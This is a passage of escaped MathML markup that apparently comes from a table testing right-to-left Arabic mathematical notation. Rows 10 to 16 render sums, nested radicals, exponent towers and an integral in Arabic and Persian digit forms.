- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;-&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;10&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;m&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;P&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;m&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;P&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;m&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;&amp;lt;&lt;/mo&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;P&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;11&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;12&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;q&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;r&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;q&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;r&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;q&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;munderover&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;r&lt;/mi&gt;
- &lt;/munderover&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;13&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msqrt&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/msqrt&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;14&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mrow&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;mi&gt;&amp;#x3C6; &lt;!-- \varphi --&gt;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi mathvariant="normal"&gt;i&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mrow&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;mi&gt;&amp;#x3C6; &lt;!-- \varphi --&gt;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi mathvariant="normal"&gt;i&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;msup&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mrow&gt;
- &lt;mo&gt;&amp;part;&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;msup&gt;
- &lt;mrow&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;mi&gt;&amp;#x3C6; &lt;!-- \varphi --&gt;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi mathvariant="normal"&gt;i&lt;/mi&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo minsize="150%"&gt;|&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;15&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;msup&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;16&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;&lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
